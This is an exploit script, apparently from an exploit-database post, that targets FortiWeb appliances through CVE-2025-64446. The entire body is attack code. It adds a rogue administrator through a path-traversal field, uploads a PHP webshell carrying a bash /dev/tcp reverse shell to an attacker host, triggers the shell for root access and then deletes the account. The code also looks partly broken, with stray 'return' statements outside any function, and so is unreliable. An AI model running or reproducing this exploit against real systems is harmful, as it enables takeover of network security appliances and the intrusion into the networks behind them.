# Exploit Title: FortiWeb 8.0.2 - Remote Code Execution
# Date: 2025-11-22
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.fortinet.com
# Software Link: https://www.fortinet.com/products/web-application-firewall/fortiweb
# Version: FortiWeb < 7.6.7, < 7.8.7, < 8.0.2
# Tested on: FortiWeb 7.4.2, 7.6.0, 7.6.1 (VM builds)
# CVE: CVE-2025-64446
# CVSS: 9.8 (Critical)
# Category: WebApps
# Platform: Hardware/Appliance (Linux-based)
# CRITICAL: True
# Including: Authentication Bypass + Path Traversal + Arbitrary File Upload → RCE
# Impact: Full system compromise, root reverse shell
# Fix: Upgrade to FortiWeb 7.6.7, 7.8.7, 8.0.2 or later
# Advisory: https://www.fortinet.com/support/psirt/FG-IR-25-64446
# Patch: https://support.fortinet.com
# Target: FortiWeb management interface (default port 8443)
import requests, sys, time, base64
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def banner():
print("""
CVE-2025-64446 FortiWeb RCE Exploit
Author: Mohammed Idrees Banyamer | @banyamer_security
LAB / AUTHORIZED TESTING ONLY
""")
if len(sys.argv) != 4:
banner()
print("Usage : python3 fortiweb_rce.py <target> <lhost> <lport>")
print("Example: python3 fortiweb_rce.py https://192.168.100.50:8443 192.168.45.10 4444")
print("\nSteps:")
print(" 1. Start listener → nc -lvnp 4444")
print(" 2. Run exploit → python3 fortiweb_rce.py <target> <your_ip> 4444")
print(" 3. Get root shell → enjoy\n")
sys.exit(1)
banner()
target = sys.argv[1].rstrip("/")
LHOST = sys.argv[2]
LPORT = sys.argv[3]
print(f"[*] Target : {target}")
print(f"[*] Callback : {LHOST}:{LPORT}\n")
s = requests.Session()
s.verify = False
s.headers = {"Content-Type": "application/json"}
print("[1] Creating temporary admin user...")
payload = {"../../mkey": "pwnedadmin", "password": "Pwned123!", "isadmin": "1", "status": "enable"}
r = s.post(f"{target}/api/v2.0/user/local.add", json=payload, timeout=10)
if r.status_code != 200 or "success" not in r.text:
print("[-] Failed to create admin → Target is likely patched")
return
print("[2] Logging in with new admin...")
login = s.post(f"{target}/api/v2.0/login", json={"username":"pwnedadmin","password":"Pwned123!"}, timeout=10)
if "success" not in login.text:
print("[-] Login failed")
return
shell = f'<?php system("bash -c \'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1\'"); ?>'
b64shell = base64.b64encode(shell.encode()).decode() + "AAA=="
print("[3] Uploading webshell via backup function...")
files = {'upload-file': ('pwned.dat', b64shell, 'application/octet-stream')}
s.post(f"{target}/api/v2.0/system/maintenance/backup", files=files, timeout=15)
print(f"[4] Triggering reverse shell to {LHOST}:{LPORT} ...")
s.get(f"{target}/pwned.dat", timeout=10)
time.sleep(8)
print("[5] Cleaning up temporary admin account...")
s.post(f"{target}/api/v2.0/user/local.delete", json={"../../mkey":"pwnedadmin"})
print("\n[+] Exploit completed – check your listener for root shell!")